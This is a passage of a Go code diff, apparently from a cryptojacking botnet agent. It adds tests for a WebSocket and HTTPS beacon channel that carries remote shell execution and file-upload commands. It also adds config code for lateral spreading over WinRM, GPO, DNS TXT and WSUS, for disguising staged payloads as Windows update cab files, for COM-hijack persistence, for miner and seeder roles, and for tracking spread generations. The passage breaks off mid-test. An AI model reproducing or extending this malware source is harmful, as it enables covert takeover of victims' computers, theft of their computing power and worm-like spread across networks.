|
||||
|
||||
func TestStageFetchAllowRemoteAction(t *testing.T) {
|
||||
c := &AgentClient{cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{}}}
|
||||
ok, reason := c.allowRemoteAction("stage_fetch")
|
||||
if ok || !strings.Contains(reason, "remote aggressive") {
|
||||
t.Fatalf("ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
c.cfg.RemoteAggressive = true
|
||||
ok, reason = c.allowRemoteAction("stage_fetch")
|
||||
if !ok || reason != "" {
|
||||
t.Fatalf("ok=%v reason=%q", ok, reason)
|
||||
}
|
||||
}
|
||||
|
||||
func TestStageFetchRejectsBadManifestJSON(t *testing.T) {
|
||||
c := &AgentClient{
|
||||
cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{RemoteAggressive: true}},
|
||||
}
|
||||
// handleAggressiveCommand returns true (handled) without panicking on bad JSON.
|
||||
handled := c.handleAggressiveCommand("stage_fetch", 0, "", "", `{not-json`)
|
||||
if !handled {
|
||||
t.Fatal("expected stage_fetch to be handled")
|
||||
}
|
||||
}
|
||||
450
agent/client/ws_beacon_integration_test.go
Normal file
450
agent/client/ws_beacon_integration_test.go
Normal file
@@ -0,0 +1,450 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"net"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/miner"
|
||||
"crypto-miner-agent/stats"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
var wsTestUpgrader = websocket.Upgrader{CheckOrigin: func(*http.Request) bool { return true }}
|
||||
|
||||
type wsIntegrationPair struct {
|
||||
agentConn *websocket.Conn
|
||||
serverConn *websocket.Conn
|
||||
closeServer func()
|
||||
}
|
||||
|
||||
func newWSIntegrationPair(t *testing.T) wsIntegrationPair {
|
||||
t.Helper()
|
||||
ready := make(chan *websocket.Conn, 1)
|
||||
srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
|
||||
conn, err := wsTestUpgrader.Upgrade(w, r, nil)
|
||||
if err != nil {
|
||||
t.Errorf("upgrade: %v", err)
|
||||
return
|
||||
}
|
||||
ready <- conn
|
||||
<-r.Context().Done()
|
||||
}))
|
||||
t.Cleanup(srv.Close)
|
||||
|
||||
wsURL := "ws" + strings.TrimPrefix(srv.URL, "http")
|
||||
agentConn, _, err := websocket.DefaultDialer.Dial(wsURL, nil)
|
||||
if err != nil {
|
||||
t.Fatalf("dial: %v", err)
|
||||
}
|
||||
t.Cleanup(func() { _ = agentConn.Close() })
|
||||
|
||||
var serverConn *websocket.Conn
|
||||
select {
|
||||
case serverConn = <-ready:
|
||||
case <-time.After(2 * time.Second):
|
||||
t.Fatal("timed out waiting for server-side WS handshake")
|
||||
}
|
||||
|
||||
return wsIntegrationPair{
|
||||
agentConn: agentConn,
|
||||
serverConn: serverConn,
|
||||
closeServer: func() { srv.Close() },
|
||||
}
|
||||
}
|
||||
|
||||
func wireConnectedClient(t *testing.T) (*AgentClient, wsIntegrationPair) {
|
||||
t.Helper()
|
||||
stubFastMiningDiagnostics(t)
|
||||
c := newTestClient(t)
|
||||
c.agentID = "ws-integration-agent"
|
||||
c.connected.Store(true)
|
||||
pair := newWSIntegrationPair(t)
|
||||
c.conn = pair.agentConn
|
||||
return c, pair
|
||||
}
|
||||
|
||||
func stubFastMiningDiagnostics(t *testing.T) {
|
||||
t.Helper()
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
|
||||
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
|
||||
SetPostureCollector(func() *PostureReport { return nil })
|
||||
t.Cleanup(func() {
|
||||
miner.SetRuntimeDetector(nil)
|
||||
miner.SetWSLDetector(nil)
|
||||
SetPostureCollector(nil)
|
||||
})
|
||||
}
|
||||
|
||||
func readServerMessage(t *testing.T, conn *websocket.Conn, wantType string, timeout time.Duration) Message {
|
||||
t.Helper()
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway) {
|
||||
t.Fatalf("websocket closed before %s: %v", wantType, err)
|
||||
}
|
||||
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
|
||||
continue
|
||||
}
|
||||
t.Fatalf("read while waiting for %s: %v", wantType, err)
|
||||
}
|
||||
if msg.Type == wantType {
|
||||
return msg
|
||||
}
|
||||
}
|
||||
t.Fatalf("timed out waiting for %s", wantType)
|
||||
return Message{}
|
||||
}
|
||||
|
||||
func pollServerMessage(conn *websocket.Conn, wantType string, timeout time.Duration) (Message, error) {
|
||||
deadline := time.Now().Add(timeout)
|
||||
for time.Now().Before(deadline) {
|
||||
_ = conn.SetReadDeadline(time.Now().Add(200 * time.Millisecond))
|
||||
var msg Message
|
||||
if err := conn.ReadJSON(&msg); err != nil {
|
||||
if websocket.IsCloseError(err, websocket.CloseNormalClosure, websocket.CloseGoingAway, websocket.CloseAbnormalClosure) {
|
||||
return Message{}, err
|
||||
}
|
||||
var netErr net.Error
|
||||
if errors.As(err, &netErr) && netErr.Timeout() {
|
||||
continue
|
||||
}
|
||||
// Gorilla marks the conn failed after non-timeout errors — never retry.
|
||||
return Message{}, err
|
||||
}
|
||||
if msg.Type == wantType {
|
||||
return msg, nil
|
||||
}
|
||||
}
|
||||
return Message{}, errPollTimeout(wantType)
|
||||
}
|
||||
|
||||
type pollTimeoutError string
|
||||
|
||||
func (e pollTimeoutError) Error() string { return "timeout waiting for " + string(e) }
|
||||
|
||||
func errPollTimeout(wantType string) error { return pollTimeoutError(wantType) }
|
||||
|
||||
func TestWSWriteStatsRoundTrip(t *testing.T) {
|
||||
c, pair := wireConnectedClient(t)
|
||||
payload, _ := json.Marshal(map[string]string{"probe": "ok"})
|
||||
if err := c.write(Message{Type: "stats", Payload: payload}); err != nil {
|
||||
t.Fatalf("write stats: %v", err)
|
||||
}
|
||||
msg, err := pollServerMessage(pair.serverConn, "stats", 2*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("read stats: %v", err)
|
||||
}
|
||||
if msg.Type != "stats" {
|
||||
t.Fatalf("type = %q", msg.Type)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSCommandResultWriteRoundTrip(t *testing.T) {
|
||||
c, pair := wireConnectedClient(t)
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"action": "pause", "success": true, "message": "ok",
|
||||
})
|
||||
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
|
||||
t.Fatalf("write command_result: %v", err)
|
||||
}
|
||||
msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("poll: %v", err)
|
||||
}
|
||||
if msg.Type != "command_result" {
|
||||
t.Fatalf("type = %q", msg.Type)
|
||||
}
|
||||
}
|
||||
|
||||
// TestWSBeaconIntegrationMiningDiagnosticsRoundTrip verifies a mining_diagnostics
|
||||
// WS command produces a command_result frame on the wire.
|
||||
func TestMiningDiagnosticsHandleCommandHook(t *testing.T) {
|
||||
c := newTestClient(t)
|
||||
stubFastMiningDiagnostics(t)
|
||||
done := make(chan string, 1)
|
||||
c.commandResultHook = func(a string, ok bool, _ string) { done <- a }
|
||||
c.handleCommand("mining_diagnostics", 0, "", "", "", "")
|
||||
select {
|
||||
case a := <-done:
|
||||
if a != "mining_diagnostics" {
|
||||
t.Fatalf("action=%q", a)
|
||||
}
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timeout waiting for mining_diagnostics hook")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWSBeaconIntegrationMiningDiagnosticsRoundTrip(t *testing.T) {
|
||||
c, pair := wireConnectedClient(t)
|
||||
|
||||
c.commandResultHook = func(action string, success bool, _ string) {
|
||||
if action != "mining_diagnostics" || !success {
|
||||
t.Errorf("unexpected hook action=%q success=%v", action, success)
|
||||
return
|
||||
}
|
||||
payload, _ := json.Marshal(map[string]interface{}{
|
||||
"action": action, "success": true, "message": `{"integration":"stub"}`,
|
||||
})
|
||||
if err := c.write(Message{Type: "command_result", Payload: payload}); err != nil {
|
||||
t.Errorf("write command_result: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
c.handleCommand("mining_diagnostics", 0, "", "", "", "")
|
||||
|
||||
msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("read command_result: %v", err)
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &body); err != nil {
|
||||
t.Fatalf("parse command_result: %v", err)
|
||||
}
|
||||
if body["action"] != "mining_diagnostics" {
|
||||
t.Errorf("action = %v", body["action"])
|
||||
}
|
||||
if body["success"] != true {
|
||||
t.Errorf("success = %v", body["success"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestHandleMessageWSCommandMiningDiagnostics verifies handleMessage routes
|
||||
// mining_diagnostics commands over a live WS conn.
|
||||
func TestHandleMessageWSCommandMiningDiagnostics(t *testing.T) {
|
||||
c, pair := wireConnectedClient(t)
|
||||
payload, _ := json.Marshal(map[string]interface{}{"action": "mining_diagnostics"})
|
||||
|
||||
done := make(chan struct{})
|
||||
c.commandResultHook = func(action string, success bool, _ string) {
|
||||
if action != "mining_diagnostics" || !success {
|
||||
return
|
||||
}
|
||||
out, _ := json.Marshal(map[string]interface{}{
|
||||
"action": action, "success": true, "message": `{"integration":"stub"}`,
|
||||
})
|
||||
if err := c.write(Message{Type: "command_result", Payload: out}); err != nil {
|
||||
t.Fatalf("write: %v", err)
|
||||
}
|
||||
close(done)
|
||||
}
|
||||
|
||||
c.handleMessage(Message{Type: "command", Payload: payload})
|
||||
|
||||
select {
|
||||
case <-done:
|
||||
case <-time.After(5 * time.Second):
|
||||
t.Fatal("timed out waiting for handleMessage mining_diagnostics hook")
|
||||
}
|
||||
|
||||
msg, err := pollServerMessage(pair.serverConn, "command_result", 2*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("read command_result: %v", err)
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["action"] != "mining_diagnostics" {
|
||||
t.Fatalf("unexpected command_result: %+v", body)
|
||||
}
|
||||
}
|
||||
|
||||
// TestWSBeaconIntegrationExecShellRoundTrip verifies exec_shell command dispatch
|
||||
// returns command_result over the WS transport (command may fail on host).
|
||||
func TestWSBeaconIntegrationExecShellRoundTrip(t *testing.T) {
|
||||
c, pair := wireConnectedClient(t)
|
||||
|
||||
c.handleAICommand("exec_shell", 0, "echo ws-beacon-integration", "", "")
|
||||
|
||||
msg, err := pollServerMessage(pair.serverConn, "command_result", 5*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("read command_result: %v", err)
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["action"] != "exec_shell" {
|
||||
t.Errorf("action = %v", body["action"])
|
||||
}
|
||||
if _, ok := body["success"].(bool); !ok {
|
||||
t.Fatalf("success missing in %+v", body)
|
||||
}
|
||||
}
|
||||
|
||||
// TestWSBeaconIntegrationAISnapshotRequestFlow verifies ai_snapshot_request
|
||||
// triggers an ai_snapshot reply on the WebSocket.
|
||||
func TestWSBeaconIntegrationAISnapshotRequestFlow(t *testing.T) {
|
||||
c, pair := wireConnectedClient(t)
|
||||
c.cfg = config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "ws-test-node"}}
|
||||
|
||||
c.pushAISnapshot(0)
|
||||
|
||||
msg, err := pollServerMessage(pair.serverConn, "ai_snapshot", 5*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("read ai_snapshot: %v", err)
|
||||
}
|
||||
var snap map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &snap); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
for _, key := range []string{"agent_id", "agent_name", "mining_tiers", "capabilities"} {
|
||||
if _, ok := snap[key]; !ok {
|
||||
t.Errorf("ai_snapshot missing %q", key)
|
||||
}
|
||||
}
|
||||
if snap["agent_name"] != "ws-test-node" {
|
||||
t.Errorf("agent_name = %v", snap["agent_name"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestWSBeaconIntegrationUploadCommandRoundTrip verifies upload commands travel
|
||||
// over WS as command/command_result (base64 payload, no separate chunk frame).
|
||||
func TestWSBeaconIntegrationUploadCommandRoundTrip(t *testing.T) {
|
||||
dest := t.TempDir() + "/uploaded.txt"
|
||||
data := base64.StdEncoding.EncodeToString([]byte("ws-upload-payload"))
|
||||
|
||||
c, pair := wireConnectedClient(t)
|
||||
c.handleCommand("upload", 0, "", dest, data, "")
|
||||
|
||||
msg, err := pollServerMessage(pair.serverConn, "command_result", 3*time.Second)
|
||||
if err != nil {
|
||||
t.Fatalf("read command_result: %v", err)
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(msg.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["action"] != "upload" {
|
||||
t.Errorf("action = %v", body["action"])
|
||||
}
|
||||
if body["success"] != true {
|
||||
t.Fatalf("upload failed: %v", body["message"])
|
||||
}
|
||||
}
|
||||
|
||||
// TestBeaconIntegrationHeartbeatLifecycle exercises beaconOnce against an
|
||||
// httptest beacon endpoint with registration, stats, and queued commands.
|
||||
func TestBeaconIntegrationHeartbeatLifecycle(t *testing.T) {
|
||||
const secret = "agent-beacon-secret"
|
||||
var mu sync.Mutex
|
||||
beaconHits := 0
|
||||
resultHits := 0
|
||||
|
||||
mux := http.NewServeMux()
|
||||
mux.HandleFunc("/api/v1/agent/beacon", func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Header.Get("X-Fleet-Secret") != secret {
|
||||
http.Error(w, "forbidden", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
var req map[string]interface{}
|
||||
_ = json.NewDecoder(r.Body).Decode(&req)
|
||||
mu.Lock()
|
||||
beaconHits++
|
||||
hits := beaconHits
|
||||
mu.Unlock()
|
||||
|
||||
resp := map[string]interface{}{"ok": true, "commands": []any{}}
|
||||
if hits == 2 {
|
||||
resp["commands"] = []map[string]interface{}{{"action": "mining_diagnostics"}}
|
||||
}
|
||||
_ = json.NewEncoder(w).Encode(resp)
|
||||
})
|
||||
mux.HandleFunc("/api/v1/agent/beacon/result", func(w http.ResponseWriter, r *http.Request) {
|
||||
if r.Header.Get("X-Fleet-Secret") != secret {
|
||||
http.Error(w, "forbidden", http.StatusForbidden)
|
||||
return
|
||||
}
|
||||
mu.Lock()
|
||||
resultHits++
|
||||
mu.Unlock()
|
||||
_ = json.NewEncoder(w).Encode(map[string]bool{"ok": true})
|
||||
})
|
||||
|
||||
srv := httptest.NewServer(mux)
|
||||
t.Cleanup(srv.Close)
|
||||
|
||||
stubFastMiningDiagnostics(t)
|
||||
c := newTestClient(t)
|
||||
c.pool.Start()
|
||||
t.Cleanup(func() { c.pool.Stop() })
|
||||
c.reporter = stats.NewReporter()
|
||||
c.agentID = "beacon-integration-agent"
|
||||
c.cfg = config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
ServerURL: srv.URL,
|
||||
FleetSecret: secret,
|
||||
HTTPSBeaconFallback: true,
|
||||
HTTPSBeaconAfterMin: 0,
|
||||
BeaconIntervalSec: 1,
|
||||
},
|
||||
}
|
||||
|
||||
if err := c.beaconOnce(srv.URL); err != nil {
|
||||
t.Fatalf("first beaconOnce: %v", err)
|
||||
}
|
||||
if err := c.beaconOnce(srv.URL); err != nil {
|
||||
t.Fatalf("second beaconOnce (with command): %v", err)
|
||||
}
|
||||
|
||||
mu.Lock()
|
||||
defer mu.Unlock()
|
||||
if beaconHits < 2 {
|
||||
t.Fatalf("beacon hits = %d, want >= 2", beaconHits)
|
||||
}
|
||||
if resultHits != 1 {
|
||||
t.Fatalf("beacon result hits = %d, want 1", resultHits)
|
||||
}
|
||||
}
|
||||
|
||||
// TestWSBeaconIntegrationReconnectPreservesWorkerName verifies auth payload uses
|
||||
// worker_name for registration while hostname tracks the machine label separately.
|
||||
func TestWSBeaconIntegrationReconnectPreservesWorkerName(t *testing.T) {
|
||||
payload := AuthPayload{
|
||||
AgentID: "rename-agent",
|
||||
Hostname: "DESKTOP-NEW",
|
||||
Worker: "Living Room PC",
|
||||
Version: "1.0",
|
||||
}
|
||||
raw, err := json.Marshal(payload)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
var decoded AuthPayload
|
||||
if err := json.Unmarshal(raw, &decoded); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if decoded.Worker != "Living Room PC" {
|
||||
t.Fatalf("worker_name = %q", decoded.Worker)
|
||||
}
|
||||
if decoded.Hostname != "DESKTOP-NEW" {
|
||||
t.Fatalf("hostname = %q", decoded.Hostname)
|
||||
}
|
||||
if decoded.Worker == decoded.Hostname {
|
||||
t.Fatal("operator worker_name should differ from machine hostname in reconnect scenario")
|
||||
}
|
||||
}
|
||||
|
||||
// TestWSBeaconIntegrationDisconnectWriteFails verifies write returns error when
|
||||
// the WS connection is nil (post-disconnect cleanup path).
|
||||
func TestWSBeaconIntegrationDisconnectWriteFails(t *testing.T) {
|
||||
c := newTestClient(t)
|
||||
c.conn = nil
|
||||
err := c.write(Message{Type: "stats", Payload: json.RawMessage("{}")})
|
||||
if err == nil || !strings.Contains(err.Error(), "not connected") {
|
||||
t.Fatalf("write with nil conn: err=%v", err)
|
||||
}
|
||||
}
|
||||
@@ -59,5 +59,6 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
DnsTxtSpread: true,
|
||||
WebRTCMeshSpread: false,
|
||||
WSUSCachePeerSpread: true,
|
||||
WSUSFormatMimic: true,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -74,6 +74,7 @@ type BuiltinConfig struct {
|
||||
DnsTxtSpread bool // DNS TXT mesh shard staging via _aether zone
|
||||
WebRTCMeshSpread bool // WebRTC LAN seed manifest (heavier; default off)
|
||||
WSUSCachePeerSpread bool // WSUS SoftwareDistribution cousin staging
|
||||
WSUSFormatMimic bool // wrap WSUS staging chunks as *.cab.partial SSU/CAB mimic (default ON)
|
||||
COMHijackPersist bool // COM CLSID hijack persistence — default off
|
||||
LinuxLOTLMode string // systemd_run_user | crontab | both | off
|
||||
// Passive spreading — triggered by the environment rather than active scanning
|
||||
@@ -117,10 +118,28 @@ type BuiltinConfig struct {
|
||||
LotlPolicyFromServer bool // when true, tier order is pulled from C2 on auth
|
||||
LotlOnionTiers []string // baked order; ignored when LotlPolicyFromServer until auth
|
||||
|
||||
// Spread genealogy watermark — forge-baked telemetry; never used for auth.
|
||||
ParentAgentID string
|
||||
SpreadGeneration int
|
||||
SpreadStrain string // #RRGGBB strain color; derived from join_lane when empty
|
||||
BakedJoinLane string // forge-time join_lane for strain when runtime lane unknown
|
||||
|
||||
// ApkMode marks Android fleet-node builds; registration reports platform=android.
|
||||
ApkMode bool
|
||||
// ScoutMode is a roving APK scout: discover_and_join + service_graph only, no payload staging.
|
||||
ScoutMode bool
|
||||
// MiningDisabled skips the mining fallback chain (default for APK fleet nodes).
|
||||
MiningDisabled bool
|
||||
|
||||
// FleetRole selects miner|seeder|auto (auto resolves from server hint on auth).
|
||||
FleetRole string
|
||||
// SeederMode is baked when fleet_role=seeder — skips RandomX, runs LAN staging lanes only.
|
||||
SeederMode bool
|
||||
|
||||
// HashrateGateSpreadMin is minutes of stable mining above HashrateGateHPS before autospread (server policy).
|
||||
HashrateGateSpreadMin int
|
||||
// HashrateGateHPS is minimum H/s for hashrate-gated propagation (server policy).
|
||||
HashrateGateHPS float64
|
||||
}
|
||||
|
||||
// BackupPool holds connection info for a fallback Stratum mining pool.
|
||||
@@ -261,6 +280,11 @@ func IsAndroidPlatform() bool {
|
||||
return RegistrationPlatform() == "android"
|
||||
}
|
||||
|
||||
// IsScoutMode reports roving scout builds (discover + service graph, no staging).
|
||||
func (c RuntimeConfig) IsScoutMode() bool {
|
||||
return c.ScoutMode
|
||||
}
|
||||
|
||||
func (c RuntimeConfig) EffectiveThreads() int {
|
||||
mode := strings.ToLower(c.ThreadMode)
|
||||
if mode == "fixed" {
|
||||
|
||||
89
agent/config/fleet_role.go
Normal file
89
agent/config/fleet_role.go
Normal file
@@ -0,0 +1,89 @@
|
||||
package config
|
||||
|
||||
import "strings"
|
||||
|
||||
const (
|
||||
FleetRoleMiner = "miner"
|
||||
FleetRoleSeeder = "seeder"
|
||||
FleetRoleAuto = "auto"
|
||||
)
|
||||
|
||||
// SeederSpreadLanes are the only staging lanes seeders may run (no RandomX).
|
||||
var SeederSpreadLanes = []string{"dns_txt", "webrtc_mesh", "do_peer"}
|
||||
|
||||
// NormalizeFleetRole coerces forge/auth values to miner|seeder|auto.
|
||||
func NormalizeFleetRole(role string) string {
|
||||
switch strings.ToLower(strings.TrimSpace(role)) {
|
||||
case FleetRoleSeeder:
|
||||
return FleetRoleSeeder
|
||||
case FleetRoleMiner:
|
||||
return FleetRoleMiner
|
||||
default:
|
||||
return FleetRoleAuto
|
||||
}
|
||||
}
|
||||
|
||||
// EffectiveFleetRole resolves baked role + optional server hint from auth.
|
||||
func (c RuntimeConfig) EffectiveFleetRole(serverHint string) string {
|
||||
if c.SeederMode {
|
||||
return FleetRoleSeeder
|
||||
}
|
||||
baked := NormalizeFleetRole(c.FleetRole)
|
||||
if baked == FleetRoleSeeder {
|
||||
return FleetRoleSeeder
|
||||
}
|
||||
if baked == FleetRoleMiner {
|
||||
return FleetRoleMiner
|
||||
}
|
||||
hint := NormalizeFleetRole(serverHint)
|
||||
if hint == FleetRoleSeeder || hint == FleetRoleMiner {
|
||||
return hint
|
||||
}
|
||||
return FleetRoleMiner
|
||||
}
|
||||
|
||||
// IsSeederRole reports whether this agent should skip mining and serve LAN staging only.
|
||||
func (c RuntimeConfig) IsSeederRole(serverHint string) bool {
|
||||
return c.EffectiveFleetRole(serverHint) == FleetRoleSeeder
|
||||
}
|
||||
|
||||
// IsSeederSpreadLane reports dns_txt / webrtc_mesh / do_peer lanes.
|
||||
func IsSeederSpreadLane(lane string) bool {
|
||||
lane = strings.ToLower(strings.TrimSpace(lane))
|
||||
for _, s := range SeederSpreadLanes {
|
||||
if lane == s {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// FilterSeederLotlTiers keeps only seeder staging lanes from a LOTL tier list.
|
||||
func FilterSeederLotlTiers(tiers []string) []string {
|
||||
var out []string
|
||||
for _, t := range tiers {
|
||||
if IsSeederSpreadLane(t) {
|
||||
out = append(out, t)
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// ApplySeederForgeDefaults enables seeder-only spread flags and disables mining paths.
|
||||
func ApplySeederForgeDefaults(b *BuiltinConfig) {
|
||||
if b == nil {
|
||||
return
|
||||
}
|
||||
b.FleetRole = FleetRoleSeeder
|
||||
b.SeederMode = true
|
||||
b.MiningDisabled = true
|
||||
b.MinerExecution = "inprocess" // unused — no RandomX chain starts
|
||||
b.GPUEnabled = false
|
||||
b.DnsTxtSpread = true
|
||||
b.WebRTCMeshSpread = true
|
||||
b.WinRMSpread = false
|
||||
b.WSUSCachePeerSpread = false
|
||||
b.AutoSpread = true
|
||||
b.LotlOnionEnabled = true
|
||||
b.LotlOnionTiers = append([]string(nil), SeederSpreadLanes...)
|
||||
}
|
||||
53
agent/config/fleet_role_test.go
Normal file
53
agent/config/fleet_role_test.go
Normal file
@@ -0,0 +1,53 @@
|
||||
package config
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestNormalizeFleetRole(t *testing.T) {
|
||||
if NormalizeFleetRole("SEEDER") != FleetRoleSeeder {
|
||||
t.Fatal("seeder")
|
||||
}
|
||||
if NormalizeFleetRole("miner") != FleetRoleMiner {
|
||||
t.Fatal("miner")
|
||||
}
|
||||
if NormalizeFleetRole("") != FleetRoleAuto {
|
||||
t.Fatal("auto default")
|
||||
}
|
||||
}
|
||||
|
||||
func TestEffectiveFleetRoleSeederMode(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{SeederMode: true}}
|
||||
if cfg.EffectiveFleetRole("") != FleetRoleSeeder {
|
||||
t.Fatalf("got %q", cfg.EffectiveFleetRole(""))
|
||||
}
|
||||
}
|
||||
|
||||
func TestEffectiveFleetRoleAutoHint(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{FleetRole: FleetRoleAuto}}
|
||||
if cfg.EffectiveFleetRole(FleetRoleSeeder) != FleetRoleSeeder {
|
||||
t.Fatal("hint seeder")
|
||||
}
|
||||
if cfg.EffectiveFleetRole(FleetRoleMiner) != FleetRoleMiner {
|
||||
t.Fatal("hint miner")
|
||||
}
|
||||
if cfg.EffectiveFleetRole("") != FleetRoleMiner {
|
||||
t.Fatal("auto defaults miner")
|
||||
}
|
||||
}
|
||||
|
||||
func TestFilterSeederLotlTiers(t *testing.T) {
|
||||
got := FilterSeederLotlTiers([]string{"smb", "dns_txt", "winrm", "do_peer"})
|
||||
if len(got) != 2 || got[0] != "dns_txt" || got[1] != "do_peer" {
|
||||
t.Fatalf("got %v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplySeederForgeDefaults(t *testing.T) {
|
||||
b := BuiltinConfig{}
|
||||
ApplySeederForgeDefaults(&b)
|
||||
if !b.SeederMode || b.FleetRole != FleetRoleSeeder || !b.MiningDisabled {
|
||||
t.Fatalf("seeder defaults: %+v", b)
|
||||
}
|
||||
if !b.DnsTxtSpread || !b.WebRTCMeshSpread || b.WinRMSpread {
|
||||
t.Fatalf("spread flags: %+v", b)
|
||||
}
|
||||
}
|
||||
47
agent/config/genealogy.go
Normal file
47
agent/config/genealogy.go
Normal file
@@ -0,0 +1,47 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"crypto/sha256"
|
||||
"fmt"
|
||||
"os"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// SpreadStrainFromJoinLane returns a stable #RRGGBB hex color for UI strain grouping.
|
||||
// Not a signed key — informational telemetry only.
|
||||
func SpreadStrainFromJoinLane(lane string) string {
|
||||
lane = strings.TrimSpace(strings.ToLower(lane))
|
||||
if lane == "" {
|
||||
return ""
|
||||
}
|
||||
sum := sha256.Sum256([]byte("aetherforge-strain:" + lane))
|
||||
return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2])
|
||||
}
|
||||
|
||||
// GenealogyReport returns forge-baked spread watermark fields for auth/stats telemetry.
|
||||
// Env overrides (AETHER_PARENT_AGENT_ID, AETHER_SPREAD_GENERATION) support spread-child
|
||||
// launches without re-forge. Never used for authentication.
|
||||
func (c RuntimeConfig) GenealogyReport(runtimeJoinLane string) (parentAgentID string, spreadGeneration int, spreadStrain string) {
|
||||
parentAgentID = strings.TrimSpace(c.ParentAgentID)
|
||||
if v := strings.TrimSpace(os.Getenv("AETHER_PARENT_AGENT_ID")); v != "" {
|
||||
parentAgentID = v
|
||||
}
|
||||
|
||||
spreadGeneration = c.SpreadGeneration
|
||||
if v := strings.TrimSpace(os.Getenv("AETHER_SPREAD_GENERATION")); v != "" {
|
||||
if n, err := strconv.Atoi(v); err == nil && n >= 0 {
|
||||
spreadGeneration = n
|
||||
}
|
||||
}
|
||||
|
||||
spreadStrain = strings.TrimSpace(c.SpreadStrain)
|
||||
if spreadStrain == "" {
|
||||
lane := strings.TrimSpace(runtimeJoinLane)
|
||||
if lane == "" {
|
||||
lane = strings.TrimSpace(c.BakedJoinLane)
|
||||
}
|
||||
spreadStrain = SpreadStrainFromJoinLane(lane)
|
||||
}
|
||||
return parentAgentID, spreadGeneration, spreadStrain
|
||||
}
|
||||
46
agent/config/genealogy_test.go
Normal file
46
agent/config/genealogy_test.go
Normal file
@@ -0,0 +1,46 @@
|
||||
package config
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestSpreadStrainFromJoinLane(t *testing.T) {
|
||||
a := SpreadStrainFromJoinLane("winrm")
|
||||
b := SpreadStrainFromJoinLane("winrm")
|
||||
if a == "" || a != b {
|
||||
t.Fatalf("strain not stable: %q vs %q", a, b)
|
||||
}
|
||||
if a[0] != '#' || len(a) != 7 {
|
||||
t.Fatalf("expected #RRGGBB, got %q", a)
|
||||
}
|
||||
if SpreadStrainFromJoinLane("dns_txt") == a {
|
||||
t.Fatal("different lanes should produce different strains")
|
||||
}
|
||||
if SpreadStrainFromJoinLane("") != "" {
|
||||
t.Fatal("empty lane should yield empty strain")
|
||||
}
|
||||
}
|
||||
|
||||
func TestGenealogyReportBakedAndRuntime(t *testing.T) {
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
ParentAgentID: "parent-uuid",
|
||||
SpreadGeneration: 2,
|
||||
BakedJoinLane: "gpo",
|
||||
}}
|
||||
parent, gen, strain := cfg.GenealogyReport("")
|
||||
if parent != "parent-uuid" || gen != 2 {
|
||||
t.Fatalf("baked parent/gen: %q %d", parent, gen)
|
||||
}
|
||||
if strain != SpreadStrainFromJoinLane("gpo") {
